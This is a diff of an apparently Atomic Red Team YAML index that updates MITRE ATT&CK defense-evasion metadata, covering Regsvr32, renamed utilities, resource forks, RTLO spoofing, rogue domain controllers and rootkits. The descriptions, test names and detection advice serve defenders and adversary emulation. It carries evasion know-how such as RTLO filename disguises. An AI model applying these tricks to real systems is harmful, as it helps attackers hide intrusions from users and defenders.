-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1218/010
+        external_id: T1218.010
+        source_name: mitre-attack
+      - url: https://support.microsoft.com/en-us/kb/249873
+        description: Microsoft. (2015, August 14). How to use the Regsvr32 tool and
+          troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.
+        source_name: Microsoft Regsvr32
+      - url: https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
+        description: LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019.
+        source_name: LOLBAS Regsvr32
+      - url: https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/
+        description: 'Nolen, R. et al.. (2016, April 28). Threat Advisory: “Squiblydoo”
+          Continues Trend of Attackers Using Native OS Tools to “Live off the Land”.
+          Retrieved April 9, 2018.'
+        source_name: Carbon Black Squiblydoo Apr 2016
+      - url: https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html
+        description: Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing
+          Techniques Used in Attacks Targeting the Mongolian Government. Retrieved
+          February 24, 2017.
+        source_name: FireEye Regsvr32 Targeting Mongolian Gov
       identifier: T1218.010
     atomic_tests:
     - name: Regsvr32 local COM scriptlet execution
@@ -36306,30 +37333,22 @@ defense-evasion:
         name: command_prompt
   T1036.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1036.003
-        url: https://attack.mitre.org/techniques/T1036/003
-      - source_name: LOLBAS Main Site
-        url: https://lolbas-project.github.io/
-        description: LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and
-          also Libraries). Retrieved February 10, 2020.
-      - source_name: Elastic Masquerade Ball
-        description: 'Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball.
-          Retrieved October 31, 2016.'
-        url: http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf
-      - source_name: F-Secure CozyDuke
-        description: 'F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis.
-          Retrieved December 10, 2015.'
-        url: https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf
-      - source_name: Twitter ItsReallyNick Masquerading Update
-        url: https://twitter.com/ItsReallyNick/status/1055321652777619457
-        description: Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading.
-          Retrieved April 22, 2019.
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
+      modified: '2020-11-23T17:03:38.941Z'
       name: Rename System Utilities
+      x_mitre_data_sources:
+      - 'File: File Modification'
+      - 'Process: Process Metadata'
+      - 'Command: Command Execution'
+      - 'File: File Metadata'
+      x_mitre_version: '1.0'
+      created: '2020-02-10T20:03:11.691Z'
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b
       description: 'Adversaries may rename legitimate system utilities to try to evade
         security mechanisms concerning the usage of those utilities. Security monitoring
         and control mechanisms may be in place for system utilities adversaries are
@@ -36339,15 +37358,11 @@ defense-evasion:
         alternative case occurs when a legitimate utility is copied or moved to a
         different directory and renamed to avoid detections based on system utilities
         executing from non-standard paths. (Citation: F-Secure CozyDuke)'
-      id: attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b
-      type: attack-pattern
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-11-23T17:03:38.941Z'
-      created: '2020-02-10T20:03:11.691Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
       x_mitre_detection: 'If file names are mismatched between the file name on disk
         and that of the binary''s PE metadata, this is a likely indicator that a binary
         was renamed after it was compiled. Collecting and comparing disk and resource
@@ -36358,15 +37373,27 @@ defense-evasion:
         the command-line arguments that are known to be used and are distinct because
         it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading
         Update)'
-      x_mitre_data_sources:
-      - 'File: File Modification'
-      - 'Process: Process Metadata'
-      - 'Command: Command Execution'
-      - 'File: File Metadata'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1036/003
+        external_id: T1036.003
+        source_name: mitre-attack
+      - url: https://lolbas-project.github.io/
+        description: LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and
+          also Libraries). Retrieved February 10, 2020.
+        source_name: LOLBAS Main Site
+      - url: http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf
+        description: 'Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball.
+          Retrieved October 31, 2016.'
+        source_name: Elastic Masquerade Ball
+      - url: https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf
+        description: 'F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis.
+          Retrieved December 10, 2015.'
+        source_name: F-Secure CozyDuke
+      - url: https://twitter.com/ItsReallyNick/status/1055321652777619457
+        description: Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading.
+          Retrieved April 22, 2019.
+        source_name: Twitter ItsReallyNick Masquerading Update
       identifier: T1036.003
     atomic_tests:
     - name: Masquerading as Windows LSASS process
@@ -36583,39 +37610,96 @@ defense-evasion:
           del /f %temp%\T1036.003_masquerading.pdf.ps1 > nul 2>&1
           del /f %temp%\T1036.003_masquerading.rtf.ps1 > nul 2>&1
         name: command_prompt
-  T1578.004:
+  T1564.009:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1578.004
-        url: https://attack.mitre.org/techniques/T1578/004
-      - source_name: Tech Republic - Restore AWS Snapshots
-        url: https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/
-        description: Hardiman, N.. (2012, March 20). Backing up and restoring snapshots
-          on Amazon EC2 machines. Retrieved October 8, 2019.
-      - source_name: Google - Restore Cloud Snapshot
-        url: https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots
-        description: Google. (2019, October 7). Restoring and deleting persistent
-          disk snapshots. Retrieved October 8, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Resource Forking
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'Process: Process Creation'
+      - 'File: File Metadata'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2021-10-16T01:50:40.276Z'
+      created: '2021-10-12T20:02:31.866Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      x_mitre_permissions_required:
+      - User
+      x_mitre_defense_bypassed:
+      - Notarization; Gatekeeper
+      x_mitre_platforms:
+      - macOS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--b22e5153-ac28-4cc6-865c-2054e36285cb
+      description: |-
+        Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file’s extended attributes, using <code>ls -l@</code> or <code>xattr -l</code> commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the <code>/Resources</code> folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)
+
+        Adversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)
+      x_mitre_contributors:
+      - Jaron Bradley @jbradley89
+      - Ivan Sinyakov
+      x_mitre_detection: "Identify files with the <code>com.apple.ResourceFork</code>
+        extended attribute and large data amounts stored in resource forks. \n\nMonitor
+        command-line activity leveraging the use of resource forks, especially those
+        immediately followed by potentially malicious activity such as creating network
+        connections. "
       created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1564/009
+        external_id: T1564.009
+        source_name: mitre-attack
+      - url: http://tenon.com/products/codebuilder/User_Guide/6_File_Systems.html#anchor520553
+        description: Tenon. (n.d.). Retrieved October 12, 2021.
+        source_name: macOS Hierarchical File System Overview
+      - url: https://flylib.com/books/en/4.395.1.192/1/
+        description: Flylib. (n.d.). Identifying Resource and Data Forks. Retrieved
+          October 12, 2021.
+        source_name: Resource and Data Forks
+      - url: https://eclecticlight.co/2020/10/24/theres-more-to-files-than-data-extended-attributes/
+        description: 'Howard Oakley. (2020, October 24). There''s more to files than
+          data: Extended Attributes. Retrieved October 12, 2021.'
+        source_name: ELC Extended Attributes
+      - url: https://www.sentinelone.com/labs/resourceful-macos-malware-hides-in-named-fork/
+        description: Phil Stokes. (2020, November 5). Resourceful macOS Malware Hides
+          in Named Fork. Retrieved October 12, 2021.
+        source_name: sentinellabs resource named fork 2020
+      - url: https://blogs.vmware.com/security/2020/06/tau-threat-analysis-bundlore-macos-mm-install-macos.html
+        description: 'Erika Noerenberg. (2020, June 29). TAU Threat Analysis: Bundlore
+          (macOS) mm-install-macos. Retrieved October 12, 2021.'
+        source_name: tau bundlore erika noerenberg 2020
+    atomic_tests: []
+  T1578.004:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Revert Cloud Instance
+      x_mitre_data_sources:
+      - 'Instance: Instance Modification'
+      - 'Instance: Instance Start'
+      - 'Instance: Instance Stop'
+      x_mitre_version: '1.1'
+      modified: '2021-03-08T10:33:02.128Z'
+      created: '2020-06-16T18:42:20.734Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1
+      x_mitre_platforms:
+      - IaaS
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: |-
         An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.
 
         Another variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)
-      id: attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2021-03-08T10:33:02.128Z'
-      created: '2020-06-16T18:42:20.734Z'
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
+      x_mitre_contributors:
+      - Netskope
       x_mitre_detection: Establish centralized logging of instance activity, which
         can be used to monitor and review system events even after reverting to a
         snapshot, rolling back changes, or changing persistence/type of storage. Monitor
@@ -36624,111 +37708,101 @@ defense-evasion:
         valid change management procedures could introduce a known identifier that
         is logged with the change (e.g., tag or header) if supported by the cloud
         provider, to help distinguish valid, expected actions from malicious ones.
-      x_mitre_data_sources:
-      - 'Instance: Instance Modification'
-      - 'Instance: Instance Start'
-      - 'Instance: Instance Stop'
-      x_mitre_contributors:
-      - Netskope
-      x_mitre_platforms:
-      - IaaS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1578/004
+        external_id: T1578.004
+        source_name: mitre-attack
+      - url: https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/
+        description: Hardiman, N.. (2012, March 20). Backing up and restoring snapshots
+          on Amazon EC2 machines. Retrieved October 8, 2019.
+        source_name: Tech Republic - Restore AWS Snapshots
+      - url: https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots
+        description: Google. (2019, October 7). Restoring and deleting persistent
+          disk snapshots. Retrieved October 8, 2019.
+        source_name: Google - Restore Cloud Snapshot
     atomic_tests: []
   T1036.002:
     technique:
-      created: '2020-02-10T19:55:29.385Z'
-      modified: '2020-03-29T20:16:36.316Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      type: attack-pattern
-      id: attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69
-      description: |-
-        Adversaries may use the right-to-left override (RTLO or RLO) character (U+202E) as a means of tricking a user into executing what they think is a benign file type but is actually executable code. RTLO is a non-printing character that causes the text that follows it to be displayed in reverse.(Citation: Infosecinstitute RTLO Technique) For example, a Windows screensaver executable named <code>March 25 \u202Excod.scr</code> will display as <code>March 25 rcs.docx</code>. A JavaScript file named <code>photo_high_re\u202Egnp.js</code> will be displayed as <code>photo_high_resj.png</code>.
-
-        A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.
-      name: Right-to-Left Override
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1036.002
-        url: https://attack.mitre.org/techniques/T1036/002
-      - source_name: Infosecinstitute RTLO Technique
-        url: https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/
-        description: Security Ninja. (2015, April 16). Spoof Using Right to Left Override
-          (RTLO) Technique. Retrieved April 22, 2019.
-      - source_name: Trend Micro PLEAD RTLO
-        url: https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/
-        description: Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against
-          Taiwanese Government Agencies. Retrieved April 22, 2019.
-      - source_name: Kaspersky RTLO Cyber Crime
-        url: https://securelist.com/zero-day-vulnerability-in-telegram/83800/
-        description: Firsh, A.. (2018, February 13). Zero-day vulnerability in Telegram
-          - Cybercriminals exploited Telegram flaw to launch multipurpose attacks.
-          Retrieved April 22, 2019.
+      type: attack-pattern
+      name: Right-to-Left Override
+      x_mitre_data_sources:
+      - 'File: File Metadata'
+      x_mitre_version: '1.1'
+      modified: '2021-10-14T21:01:59.733Z'
+      created: '2020-02-10T19:55:29.385Z'
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
-      x_mitre_data_sources:
-      - 'File: File Metadata'
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69
+      description: |-
+        Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named <code>March 25 \u202Excod.scr</code> will display as <code>March 25 rcs.docx</code>. A JavaScript file named <code>photo_high_re\u202Egnp.js</code> will be displayed as <code>photo_high_resj.png</code>.(Citation: Infosecinstitute RTLO Technique)
+
+        Adversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
       x_mitre_detection: Detection methods should include looking for common formats
         of RTLO characters within filenames such as <code>\u202E</code>, <code>[U+202E]</code>,
         and <code>%E2%80%AE</code>. Defenders should also check their analysis tools
         to ensure they do not interpret the RTLO character and instead print the true
         name of the file containing it.
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1036/002
+        external_id: T1036.002
+        source_name: mitre-attack
+      - url: https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/
+        description: Security Ninja. (2015, April 16). Spoof Using Right to Left Override
+          (RTLO) Technique. Retrieved April 22, 2019.
+        source_name: Infosecinstitute RTLO Technique
+      - url: https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/
+        description: Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against
+          Taiwanese Government Agencies. Retrieved April 22, 2019.
+        source_name: Trend Micro PLEAD RTLO
+      - url: https://securelist.com/zero-day-vulnerability-in-telegram/83800/
+        description: Firsh, A.. (2018, February 13). Zero-day vulnerability in Telegram
+          - Cybercriminals exploited Telegram flaw to launch multipurpose attacks.
+          Retrieved April 22, 2019.
+        source_name: Kaspersky RTLO Cyber Crime
     atomic_tests: []
   T1207:
     technique:
-      id: attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Rogue Domain Controller
+      x_mitre_data_sources:
+      - 'Active Directory: Active Directory Object Creation'
+      - 'Active Directory: Active Directory Object Modification'
+      - 'Network Traffic: Network Traffic Content'
+      - 'User Account: User Account Authentication'
+      x_mitre_version: '2.0'
+      modified: '2021-02-09T15:13:27.670Z'
+      created: '2018-04-18T17:59:24.739Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a
+      x_mitre_defense_bypassed:
+      - Log analysis
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - Administrator
       description: |-
         Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.
 
         Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)
 
         This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1207
-        url: https://attack.mitre.org/techniques/T1207
-      - url: https://www.dcshadow.com/
-        description: Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20,
-          2018.
-        source_name: DCShadow Blog
-      - url: https://adsecurity.org/?page_id=1821
-        description: Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz
-          & Command Reference. Retrieved December 23, 2015.
-        source_name: Adsecurity Mimikatz Guide
-      - url: https://github.com/shellster/DCSYNCMonitor
-        description: Spencer S. (2018, February 22). DCSYNCMonitor. Retrieved March
-          30, 2018.
-        source_name: GitHub DCSYNCMonitor
-      - url: https://msdn.microsoft.com/en-us/library/ms677626.aspx
-        description: Microsoft. (n.d.). Polling for Changes Using the DirSync Control.
-          Retrieved March 30, 2018.
-        source_name: Microsoft DirSync
-      - url: https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html
-        description: Lucand,G. (2018, February 18). Detect DCShadow, impossible?.
-          Retrieved March 30, 2018.
-        source_name: ADDSecurity DCShadow Feb 2018
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2021-02-09T15:13:27.670Z'
-      created: '2018-04-18T17:59:24.739Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Windows
-      x_mitre_permissions_required:
-      - Administrator
+      x_mitre_contributors:
+      - Vincent Le Toux
       x_mitre_detection: |-
         Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) DC replication will naturally take place every 15 minutes but can be triggered by an attacker or by legitimate urgent changes (ex: passwords). Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog)
 
@@ -36737,16 +37811,31 @@ defense-evasion:
         Baseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: DCShadow Blog)
 
         Investigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with “GC/”) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235–4B06–11D1-AB04–00C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.
-      x_mitre_defense_bypassed:
-      - Log analysis
-      x_mitre_data_sources:
-      - 'Active Directory: Active Directory Object Creation'
-      - 'Active Directory: Active Directory Object Modification'
-      - 'Network Traffic: Network Traffic Content'
-      - 'User Account: User Account Authentication'
-      x_mitre_contributors:
-      - Vincent Le Toux
-      x_mitre_version: '2.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1207
+        external_id: T1207
+        source_name: mitre-attack
+      - source_name: DCShadow Blog
+        description: Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20,
+          2018.
+        url: https://www.dcshadow.com/
+      - source_name: Adsecurity Mimikatz Guide
+        description: Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz
+          & Command Reference. Retrieved December 23, 2015.
+        url: https://adsecurity.org/?page_id=1821
+      - source_name: GitHub DCSYNCMonitor
+        description: Spencer S. (2018, February 22). DCSYNCMonitor. Retrieved March
+          30, 2018.
+        url: https://github.com/shellster/DCSYNCMonitor
+      - source_name: Microsoft DirSync
+        description: Microsoft. (n.d.). Polling for Changes Using the DirSync Control.
+          Retrieved March 30, 2018.
+        url: https://msdn.microsoft.com/en-us/library/ms677626.aspx
+      - source_name: ADDSecurity DCShadow Feb 2018
+        description: Lucand,G. (2018, February 18). Detect DCShadow, impossible?.
+          Retrieved March 30, 2018.
+        url: https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html
       identifier: T1207
     atomic_tests:
     - name: DCShadow (Active Directory)
@@ -36845,9 +37934,34 @@ defense-evasion:
 '
   T1014:
     technique:
-      id: attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Rootkit
+      x_mitre_data_sources:
+      - 'Drive: Drive Modification'
+      - 'Firmware: Firmware Modification'
+      x_mitre_version: '1.1'
+      modified: '2020-06-20T22:29:55.496Z'
+      created: '2017-05-31T21:30:26.496Z'
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      - root
+      x_mitre_defense_bypassed:
+      - File monitoring
+      - Host intrusion prevention systems
+      - Application control
+      - Signature-based detection
+      - System access controls
+      - Application control by file name or path
+      - Anti-virus
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b
       description: "Adversaries may use rootkits to hide the presence of programs,
         files, network connections, services, drivers, and other system components.
         Rootkits are programs that hide the existence of malware by intercepting/hooking
@@ -36858,62 +37972,37 @@ defense-evasion:
         (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux,
         and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat
         Mac OSX Rootkit)"
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1014
-        url: https://attack.mitre.org/techniques/T1014
-      - external_id: CAPEC-552
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/552.html
-      - url: https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf
-        description: Symantec. (n.d.). Windows Rootkit Overview. Retrieved December
-          21, 2017.
-        source_name: Symantec Windows Rootkits
-      - url: https://en.wikipedia.org/wiki/Rootkit
-        description: Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016.
-        source_name: Wikipedia Rootkit
-      - url: https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/
-        description: Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit.
-          Retrieved December 21, 2017.
-        source_name: CrowdStrike Linux Rootkit
-      - url: http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf
-        description: 'Pan, M., Tsai, S. (2014). You can’t see me: A Mac OS X Rootkit
-          uses the tricks you haven''t known yet. Retrieved December 21, 2017.'
-        source_name: BlackHat Mac OSX Rootkit
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-06-20T22:29:55.496Z'
-      created: '2017-05-31T21:30:26.496Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
-      - root
       x_mitre_detection: 'Some rootkit protections may be built into anti-virus or
         operating system software. There are dedicated rootkit detection tools that
         look for specific types of rootkit behavior. Monitor for the existence of
         unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia
         Rootkit)'
-      x_mitre_defense_bypassed:
-      - File monitoring
-      - Host intrusion prevention systems
-      - Application control
-      - Signature-based detection
-      - System access controls
-      - Application control by file name or path
-      - Anti-virus
-      x_mitre_data_sources:
-      - 'Drive: Drive Modification'
-      - 'Firmware: Firmware Modification'
-      x_mitre_version: '1.1'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1014
+        external_id: T1014
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/552.html
+        external_id: CAPEC-552
+        source_name: capec
+      - source_name: Symantec Windows Rootkits
+        description: Symantec. (n.d.). Windows Rootkit Overview. Retrieved December
+          21, 2017.
+        url: https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf
+      - source_name: Wikipedia Rootkit
+        description: Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016.
+        url: https://en.wikipedia.org/wiki/Rootkit
+      - source_name: CrowdStrike Linux Rootkit
+        description: Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit.
+          Retrieved December 21, 2017.
+        url: https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/
+      - source_name: BlackHat Mac OSX Rootkit
+        description: 'Pan, M., Tsai, S. (2014). You can’t see me: A Mac OS X Rootkit
+          uses the tricks you haven''t known yet. Retrieved December 21, 2017.'
+        url: http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf
       identifier: T1014
     atomic_tests:
     - name: Loadable Kernel Module based Rootkit
@@ -37015,65 +38104,80 @@ defense-evasion:
         elevation_required: true
   T1564.006:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1564.006
-        url: https://attack.mitre.org/techniques/T1564/006
-      - source_name: SingHealth Breach Jan 2019
-        url: https://www.mci.gov.sg/-/media/mcicorp/doc/report-of-the-coi-into-the-cyber-attack-on-singhealth-10-jan-2019.ashx
-        description: Committee of Inquiry into the Cyber Attack on SingHealth. (2019,
-          January 10). Public Report of the Committee of Inquiry into the Cyber Attack
-          on Singapore Health Services Private Limited's Patient Database. Retrieved
-          June 29, 2020.
-      - source_name: Sophos Ragnar May 2020
